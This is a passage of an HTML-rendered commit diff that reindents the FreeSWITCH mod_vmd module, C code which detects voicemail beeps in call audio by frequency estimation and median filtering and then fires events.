</span><del>- vmd_session_info_t *vmd_info;
- switch_codec_t *read_codec;
- switch_frame_t *frame;
</del><ins>+        vmd_session_info_t *vmd_info;
+        switch_codec_t *read_codec;
+        switch_frame_t *frame;
</ins><span class="cx">
</span><del>- vmd_info = (vmd_session_info_t *) user_data;
- if (vmd_info == NULL) {
- return SWITCH_FALSE;
- }
</del><ins>+        vmd_info = (vmd_session_info_t *) user_data;
+        if (vmd_info == NULL) {
+                return SWITCH_FALSE;
+        }
</ins><span class="cx">
</span><del>- switch (type) {
</del><ins>+        switch (type) {
</ins><span class="cx">
</span><del>- case SWITCH_ABC_TYPE_INIT:
- read_codec = switch_core_session_get_read_codec(vmd_info->session);
- vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
- vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
- break;
</del><ins>+        case SWITCH_ABC_TYPE_INIT:
+                read_codec = switch_core_session_get_read_codec(vmd_info->session);
+                vmd_info->vmd_codec.rate = read_codec->implementation->samples_per_second;
+                vmd_info->vmd_codec.channels = read_codec->implementation->number_of_channels;
+                break;
</ins><span class="cx">
</span><del>- case SWITCH_ABC_TYPE_READ_PING:
- case SWITCH_ABC_TYPE_CLOSE:
- case SWITCH_ABC_TYPE_READ:
- case SWITCH_ABC_TYPE_WRITE:
- break;
</del><ins>+        case SWITCH_ABC_TYPE_READ_PING:
+        case SWITCH_ABC_TYPE_CLOSE:
+        case SWITCH_ABC_TYPE_READ:
+        case SWITCH_ABC_TYPE_WRITE:
+                break;
</ins><span class="cx">
</span><del>- case SWITCH_ABC_TYPE_READ_REPLACE:
- frame = switch_core_media_bug_get_read_replace_frame(bug);
- return process_data(vmd_info, frame);
</del><ins>+        case SWITCH_ABC_TYPE_READ_REPLACE:
+                frame = switch_core_media_bug_get_read_replace_frame(bug);
+                return process_data(vmd_info, frame);
</ins><span class="cx">
</span><del>- case SWITCH_ABC_TYPE_WRITE_REPLACE:
- break;
- }
</del><ins>+        case SWITCH_ABC_TYPE_WRITE_REPLACE:
+                break;
+        }
</ins><span class="cx">
</span><del>- return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Process and convert data to be used by the find_beep() function
</span><span class="lines">@@ -230,23 +230,23 @@
</span><span class="cx"> * @param frame The audio data.
</span><span class="cx"> * @return The success or failure of the function.
</span><span class="cx"> */
</span><del>-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame)
</del><ins>+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame)
</ins><span class="cx"> {
</span><del>- uint32_t i;
- unsigned int j;
- double pts[P];
- int16_t *data;
- int16_t max;
- switch_ssize_t len;
</del><ins>+        uint32_t i;
+        unsigned int j;
+        double pts[P];
+        int16_t *data;
+        int16_t max;
+        switch_ssize_t len;
</ins><span class="cx">
</span><del>- len = frame->samples * sizeof(int16_t);
- data = (int16_t *) frame->data;
</del><ins>+        len = frame->samples * sizeof(int16_t);
+        data = (int16_t *) frame->data;
</ins><span class="cx">
</span><del>- for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
- if ((int16_t) abs(data[i]) > max) {
- max = (int16_t) abs(data[i]);
- }
- }
</del><ins>+        for (max = (int16_t) abs(data[0]), i = 1; i < frame->samples; i++) {
+                if ((int16_t) abs(data[i]) > max) {
+                        max = (int16_t) abs(data[i]);
+                }
+        }
</ins><span class="cx">
</span><span class="cx"> /*
</span><span class="cx"> if (vmd_info->data_len != len){
</span><span class="lines">@@ -269,16 +269,16 @@
</span><span class="cx"> }
</span><span class="cx"> */
</span><span class="cx">
</span><del>- for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
- /* convert_pts(vmd_info->data + i, pts); */
- convert_pts(data + i, pts, max);
- vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
- vmd_info->points[j].ampl = ampl_estimator(pts);
- vmd_info->pos = j % POINTS;
- find_beep(vmd_info, frame);
- }
</del><ins>+        for (i = 0, j = vmd_info->pos; i < frame->samples; j++, j %= POINTS, i += 5) {
+                /* convert_pts(vmd_info->data + i, pts); */
+                convert_pts(data + i, pts, max);
+                vmd_info->points[j].freq = TO_HZ(freq_estimator(pts));
+                vmd_info->points[j].ampl = ampl_estimator(pts);
+                vmd_info->pos = j % POINTS;
+                find_beep(vmd_info, frame);
+        }
</ins><span class="cx">
</span><del>- return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Find voicemail beep in the audio stream
</span><span class="lines">@@ -288,98 +288,96 @@
</span><span class="cx"> * @param frame The audio data.
</span><span class="cx"> * @return The success or failure of the function.
</span><span class="cx"> */
</span><del>-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
</del><ins>+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame)
</ins><span class="cx"> {
</span><del>- int i;
- int c;
- double m[POINTS];
- double med;
- unsigned int j = (vmd_info->pos + 1) % POINTS;
- unsigned int k = j;
- switch_event_t *event;
- switch_status_t status;
- switch_event_t *event_copy;
- switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
</del><ins>+        int i;
+        int c;
+        double m[POINTS];
+        double med;
+        unsigned int j = (vmd_info->pos + 1) % POINTS;
+        unsigned int k = j;
+        switch_event_t *event;
+        switch_status_t status;
+        switch_event_t *event_copy;
+        switch_channel_t *channel = switch_core_session_get_channel(vmd_info->session);
</ins><span class="cx">
</span><del>- switch (vmd_info->state) {
- case BEEP_DETECTED:
- for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
- vmd_info->timestamp++;
- if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) &&
- vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
- c++;
- vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
- }
- }
</del><ins>+        switch (vmd_info->state) {
+        case BEEP_DETECTED:
+                for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
+                        vmd_info->timestamp++;
+                        if (vmd_info->points[j].freq < TOLERANCE_T(vmd_info->beep_freq) && vmd_info->points[j].freq > TOLERANCE_B(vmd_info->beep_freq)) {
+                                c++;
+                                vmd_info->beep_freq = (vmd_info->beep_freq * 0.95) + (vmd_info->points[j].freq * 0.05);
+                        }
+                }
</ins><span class="cx">
</span><del>- if (c < (POINTS - MAX_CHIRP)) {
- vmd_info->state = BEEP_NOT_DETECTED;
- if (vmd_info->timestamp < (switch_size_t)vmd_info->minTime) {
- break;
- }
</del><ins>+                if (c < (POINTS - MAX_CHIRP)) {
+                        vmd_info->state = BEEP_NOT_DETECTED;
+                        if (vmd_info->timestamp < (switch_size_t) vmd_info->minTime) {
+                                break;
+                        }
</ins><span class="cx">
</span><del>- status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
- if (status != SWITCH_STATUS_SUCCESS) {
- return;
- }
</del><ins>+                        status = switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
+                        if (status != SWITCH_STATUS_SUCCESS) {
+                                return;
+                        }
</ins><span class="cx">
</span><del>- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
</del><ins>+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
+                        switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
+                        switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
</ins><span class="cx">
</span><del>- if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
- return;
- }
</del><ins>+                        if ((switch_event_dup(&event_copy, event)) != SWITCH_STATUS_SUCCESS) {
+                                return;
+                        }
</ins><span class="cx">
</span><del>- switch_core_session_queue_event(vmd_info->session, &event);
- switch_event_fire(&event_copy);
</del><ins>+                        switch_core_session_queue_event(vmd_info->session, &event);
+                        switch_event_fire(&event_copy);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
- switch_channel_set_variable(channel, "vmd_detect", "TRUE");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info->session), SWITCH_LOG_INFO, "<<< VMD - Beep Detected >>>\n");
+                        switch_channel_set_variable(channel, "vmd_detect", "TRUE");
</ins><span class="cx">
</span><del>- vmd_info->timestamp = 0;
- }
</del><ins>+                        vmd_info->timestamp = 0;
+                }
</ins><span class="cx">
</span><del>- break;
</del><ins>+                break;
</ins><span class="cx">
</span><del>- case BEEP_NOT_DETECTED:
</del><ins>+        case BEEP_NOT_DETECTED:
</ins><span class="cx">
</span><del>- for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
- m[i] = vmd_info->points[k].freq;
- if (ISNAN(m[i])) {
- m[i] = 0.0;
- }
- }
</del><ins>+                for (i = 0; i < POINTS; k++, k %= POINTS, i++) {
+                        m[i] = vmd_info->points[k].freq;
+                        if (ISNAN(m[i])) {
+                                m[i] = 0.0;
+                        }
+                }
</ins><span class="cx">
</span><del>- med = median(m, POINTS);
- if (ISNAN(med)) {
- for (i = 0; i < POINTS; i++) {
- if (!ISNAN(m[i])) {
- med = m[i];
- break;
- }
- }
- }
</del><ins>+                med = median(m, POINTS);
+                if (ISNAN(med)) {
+                        for (i = 0; i < POINTS; i++) {
+                                if (!ISNAN(m[i])) {
+                                        med = m[i];
+                                        break;
+                                }
+                        }
+                }
</ins><span class="cx">
</span><del>- for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
- if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
- if (vmd_info->points[j].ampl > MIN_AMPL &&
- vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
- c++;
- }
- }
- }
</del><ins>+                for (c = 0, i = 0; i < POINTS; j++, j %= POINTS, i++) {
+                        if (vmd_info->points[j].freq < TOLERANCE_T(med) && vmd_info->points[j].freq > TOLERANCE_B(med)) {
+                                if (vmd_info->points[j].ampl > MIN_AMPL && vmd_info->points[j].freq > MIN_FREQ && vmd_info->points[j].freq < MAX_FREQ) {
+                                        c++;
+                                }
+                        }
+                }
</ins><span class="cx">
</span><del>- if (c >= VALID) {
- vmd_info->state = BEEP_DETECTED;
- vmd_info->beep_freq = med;
- vmd_info->timestamp = 0;
- }
</del><ins>+                if (c >= VALID) {
+                        vmd_info->state = BEEP_DETECTED;
+                        vmd_info->beep_freq = med;
+                        vmd_info->timestamp = 0;
+                }
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Find the median of an array of doubles
</span><span class="lines">@@ -390,65 +388,65 @@
</span><span class="cx"> */
</span><span class="cx"> static double median(double *m, int n)
</span><span class="cx"> {
</span><del>- int i;
- int less;
- int greater;
- int equal;
- double min;
- double max;
- double guess;
- double maxltguess;
- double mingtguess;
</del><ins>+        int i;
+        int less;
+        int greater;
+        int equal;
+        double min;
+        double max;
+        double guess;
+        double maxltguess;
+        double mingtguess;
</ins><span class="cx">
</span><del>- min = max = m[0];
</del><ins>+        min = max = m[0];
</ins><span class="cx">
</span><del>- for (i = 1; i < n; i++) {
- if (m[i] < min)
- min = m[i];
- if (m[i] > max)
- max = m[i];
- }
</del><ins>+        for (i = 1; i < n; i++) {
+                if (m[i] < min)
+                        min = m[i];
+                if (m[i] > max)
+                        max = m[i];
+        }
</ins><span class="cx">
</span><del>- for (;;) {
- guess = (min + max) / 2;
- less = 0;
- greater = 0;
- equal = 0;
- maxltguess = min;
- mingtguess = max;
</del><ins>+        for (;;) {
+                guess = (min + max) / 2;
+                less = 0;
+                greater = 0;
+                equal = 0;
+                maxltguess = min;
+                mingtguess = max;
</ins><span class="cx">
</span><del>- for (i = 0; i < n; i++) {
- if (m[i] < guess) {
- less++;
- if (m[i] > maxltguess) {
- maxltguess = m[i];
- }
- } else if (m[i] > guess) {
- greater++;
- if (m[i] < mingtguess) {
- mingtguess = m[i];
- }
- } else {
- equal++;
- }
- }
</del><ins>+                for (i = 0; i < n; i++) {
+                        if (m[i] < guess) {
+                                less++;
+                                if (m[i] > maxltguess) {
+                                        maxltguess = m[i];
+                                }
+                        } else if (m[i] > guess) {
+                                greater++;
+                                if (m[i] < mingtguess) {
+                                        mingtguess = m[i];
+                                }
+                        } else {
+                                equal++;
+                        }
+                }
</ins><span class="cx">
</span><del>- if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
- break;
- } else if (less > greater) {
- max = maxltguess;
- } else {
- min = mingtguess;
- }
- }
</del><ins>+                if (less <= (n + 1) / 2 && greater <= (n + 1) / 2) {
+                        break;
+                } else if (less > greater) {
+                        max = maxltguess;
+                } else {
+                        min = mingtguess;
+                }
+        }
</ins><span class="cx">
</span><del>- if (less >= (n + 1) / 2) {
- return maxltguess;
- } else if (less + equal >= (n + 1) / 2) {
- return guess;
- }
</del><ins>+        if (less >= (n + 1) / 2) {
+                return maxltguess;
+        } else if (less + equal >= (n + 1) / 2) {
+                return guess;
+        }
</ins><span class="cx">
</span><del>- return mingtguess;
</del><ins>+        return mingtguess;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Convert many points for Signed L16 to relative floating point
</span><span class="lines">@@ -459,13 +457,13 @@
</span><span class="cx"> * @param max The maximum value in the entire audio frame.
</span><span class="cx"> * @return Nothing.
</span><span class="cx"> */
</span><del>-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
</del><ins>+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max)
</ins><span class="cx"> {
</span><del>- int i;
- for (i = 0; i < P; i++) {
- /*! Signed L16 to relative floating point conversion */
- d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
- }
</del><ins>+        int i;
+        for (i = 0; i < P; i++) {
+                /*! Signed L16 to relative floating point conversion */
+                d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Amplitude estimator for DESA-2
</span><span class="lines">@@ -478,12 +476,12 @@
</span><span class="cx"> */
</span><span class="cx"> double ampl_estimator(double *x)
</span><span class="cx"> {
</span><del>- double freq_sq;
</del><ins>+        double freq_sq;
</ins><span class="cx">
</span><del>- freq_sq = freq_estimator(x);
- freq_sq *= freq_sq;
</del><ins>+        freq_sq = freq_estimator(x);
+        freq_sq *= freq_sq;
</ins><span class="cx">
</span><del>- return sqrt(PSI(x) / sin(freq_sq));
</del><ins>+        return sqrt(PSI(x) / sin(freq_sq));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief The DESA-2 algorithm
</span><span class="lines">@@ -500,12 +498,12 @@
</span><span class="cx"> */
</span><span class="cx"> double freq_estimator(double *x)
</span><span class="cx"> {
</span><del>- return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
- - ((x[1] * x[1]) - (x[0] * x[2]))
- - ((x[3] * x[3]) - (x[2] * x[4])))
- / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
</del><ins>+        return 0.5 * acos((((x[2] * x[2]) - (x[0] * x[4]))
+                                         - ((x[1] * x[1]) - (x[0] * x[2]))
+                                         - ((x[3] * x[3]) - (x[2] * x[4])))
+                                         / (2.0 * ((x[2] * x[2]) - (x[1] * x[3])))
</ins><span class="cx">
</span><del>- );
</del><ins>+                );
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH module loading function
</span><span class="lines">@@ -515,19 +513,19 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
</span><span class="cx"> {
</span><del>- switch_application_interface_t *app_interface;
- switch_api_interface_t *api_interface;
- /* connect my internal structure to the blank pointer passed to me */
- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</del><ins>+        switch_application_interface_t *app_interface;
+        switch_api_interface_t *api_interface;
+        /* connect my internal structure to the blank pointer passed to me */
+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
</ins><span class="cx">
</span><del>- SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
</del><ins>+        SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
</ins><span class="cx">
</span><del>- SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
</del><ins>+        SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
</ins><span class="cx">
</span><del>- /* indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH application handler function.
</span><span class="lines">@@ -538,59 +536,59 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_STANDARD_APP(vmd_start_function)
</span><span class="cx"> {
</span><del>- switch_media_bug_t *bug;
- switch_status_t status;
- switch_channel_t *channel;
- vmd_session_info_t *vmd_info;
- int i;
</del><ins>+        switch_media_bug_t *bug;
+        switch_status_t status;
+        switch_channel_t *channel;
+        vmd_session_info_t *vmd_info;
+        int i;
</ins><span class="cx">         const char *minTimeString;
</span><span class="cx">         int mintime = 0;
</span><span class="cx">
</span><del>- if (session == NULL)
- return;
</del><ins>+        if (session == NULL)
+                return;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx">
</span><del>- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(data, "stop") == 0) {
- switch_channel_set_private(channel, "_vmd_", NULL);
- switch_core_media_bug_remove(session, &bug);
- return;
- }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(data, "stop") == 0) {
+                        switch_channel_set_private(channel, "_vmd_", NULL);
+                        switch_core_media_bug_remove(session, &bug);
+                        return;
+                }
</ins><span class="cx">
</span><del>- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</ins><span class="cx">
</span><del>- return;
- }
</del><ins>+                return;
+        }
</ins><span class="cx">
</span><del>- vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
- );
</del><ins>+        vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
+                );
</ins><span class="cx">
</span><del>- vmd_info->state = BEEP_NOT_DETECTED;
- vmd_info->session = session;
- vmd_info->pos = 0;
- /*
- vmd_info->data = NULL;
- vmd_info->data_len = 0;
- */
- for (i = 0; i < POINTS; i++) {
- vmd_info->points[i].freq = 0.0;
- vmd_info->points[i].ampl = 0.0;
- }
</del><ins>+        vmd_info->state = BEEP_NOT_DETECTED;
+        vmd_info->session = session;
+        vmd_info->pos = 0;
+        /*
+         vmd_info->data = NULL;
+         vmd_info->data_len = 0;
+         */
+        for (i = 0; i < POINTS; i++) {
+                vmd_info->points[i].freq = 0.0;
+                vmd_info->points[i].ampl = 0.0;
+        }
</ins><span class="cx">
</span><del>- status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
</del><ins>+        status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
</ins><span class="cx">
</span><del>- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- return;
- }
</del><ins>+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+                return;
+        }
</ins><span class="cx">
</span><del>- switch_channel_set_private(channel, "_vmd_", bug);
</del><ins>+        switch_channel_set_private(channel, "_vmd_", bug);
</ins><span class="cx">
</span><span class="cx">         if ((minTimeString = switch_channel_get_variable(channel, "vmd_min_time")) && (mintime = atoi(minTimeString))) {
</span><span class="cx">                 vmd_info->minTime = mintime;
</span><span class="lines">@@ -598,7 +596,7 @@
</span><span class="cx">                 vmd_info->minTime = MIN_TIME;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n",vmd_info->minTime);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n", vmd_info->minTime);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Called when the module shuts down
</span><span class="lines">@@ -608,9 +606,9 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
</span><span class="cx"> {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH API handler function.
</span><span class="lines">@@ -622,121 +620,121 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_STANDARD_API(vmd_api_main)
</span><span class="cx"> {
</span><del>- switch_core_session_t *vmd_session = NULL;
- switch_media_bug_t *bug;
- vmd_session_info_t *vmd_info;
- switch_channel_t *channel;
- switch_status_t status;
- int argc;
- char *argv[VMD_PARAMS];
- char *ccmd = NULL;
- char *uuid;
- char *command;
- int i;
</del><ins>+        switch_core_session_t *vmd_session = NULL;
+        switch_media_bug_t *bug;
+        vmd_session_info_t *vmd_info;
+        switch_channel_t *channel;
+        switch_status_t status;
+        int argc;
+        char *argv[VMD_PARAMS];
+        char *ccmd = NULL;
+        char *uuid;
+        char *command;
+        int i;
</ins><span class="cx">
</span><del>- /* No command? Display usage */
- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        /* No command? Display usage */
+        if (zstr(cmd)) {
+                stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- /* Duplicated contents of original string */
- ccmd = strdup(cmd);
- /* Separate the arguments */
- argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
</del><ins>+        /* Duplicated contents of original string */
+        ccmd = strdup(cmd);
+        /* Separate the arguments */
+        argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
</ins><span class="cx">
</span><del>- /* If we don't have the expected number of parameters
- * display usage */
- if (argc != VMD_PARAMS) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</del><ins>+        /* If we don't have the expected number of parameters
+         * display usage */
+        if (argc != VMD_PARAMS) {
+                stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- uuid = argv[0];
- command = argv[1];
</del><ins>+        uuid = argv[0];
+        command = argv[1];
</ins><span class="cx">
</span><del>- /* using uuid locate a reference to the FreeSWITCH session */
- vmd_session = switch_core_session_locate(uuid);
</del><ins>+        /* using uuid locate a reference to the FreeSWITCH session */
+        vmd_session = switch_core_session_locate(uuid);
</ins><span class="cx">
</span><del>- /* If the session was not found exit */
- if (vmd_session == NULL) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</del><ins>+        /* If the session was not found exit */
+        if (vmd_session == NULL) {
+                stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- /* Get current channel of the session to tag the session
- * This indicates that our module is present */
- channel = switch_core_session_get_channel(vmd_session);
</del><ins>+        /* Get current channel of the session to tag the session
+         * This indicates that our module is present */
+        channel = switch_core_session_get_channel(vmd_session);
</ins><span class="cx">
</span><del>- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(command, "stop") == 0) {
- switch_channel_set_private(channel, "_vmd_", NULL);
- switch_core_media_bug_remove(vmd_session, &bug);
- switch_safe_free(ccmd);
- stream->write_function(stream, "+OK\n");
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(command, "stop") == 0) {
+                        switch_channel_set_private(channel, "_vmd_", NULL);
+                        switch_core_media_bug_remove(vmd_session, &bug);
+                        switch_safe_free(ccmd);
+                        stream->write_function(stream, "+OK\n");
</ins><span class="cx">                         goto end;
</span><del>- }
</del><ins>+                }
</ins><span class="cx">
</span><del>- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</ins><span class="cx">                 goto end;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- /* If we don't see the expected start exit */
- if (strcasecmp(command, "start") != 0) {
- stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</del><ins>+        /* If we don't see the expected start exit */
+        if (strcasecmp(command, "start") != 0) {
+                stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
</ins><span class="cx">                 goto end;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- /* Allocate memory attached to this FreeSWITCH session for
- * use in the callback routine and to store state information */
- vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
- );
</del><ins>+        /* Allocate memory attached to this FreeSWITCH session for
+         * use in the callback routine and to store state information */
+        vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
+                );
</ins><span class="cx">
</span><del>- /* Set initial values and states */
- vmd_info->state = BEEP_NOT_DETECTED;
- vmd_info->session = vmd_session;
- vmd_info->pos = 0;
</del><ins>+        /* Set initial values and states */
+        vmd_info->state = BEEP_NOT_DETECTED;
+        vmd_info->session = vmd_session;
+        vmd_info->pos = 0;
</ins><span class="cx"> /*
</span><span class="cx"> vmd_info->data = NULL;
</span><span class="cx"> vmd_info->data_len = 0;
</span><span class="cx"> */
</span><span class="cx">
</span><del>- for (i = 0; i < POINTS; i++) {
- vmd_info->points[i].freq = 0.0;
- vmd_info->points[i].ampl = 0.0;
- }
</del><ins>+        for (i = 0; i < POINTS; i++) {
+                vmd_info->points[i].freq = 0.0;
+                vmd_info->points[i].ampl = 0.0;
+        }
</ins><span class="cx">
</span><del>- /* Add a media bug that allows me to intercept the
- * reading leg of the audio stream */
- status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
</del><ins>+        /* Add a media bug that allows me to intercept the
+         * reading leg of the audio stream */
+        status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
</ins><span class="cx">
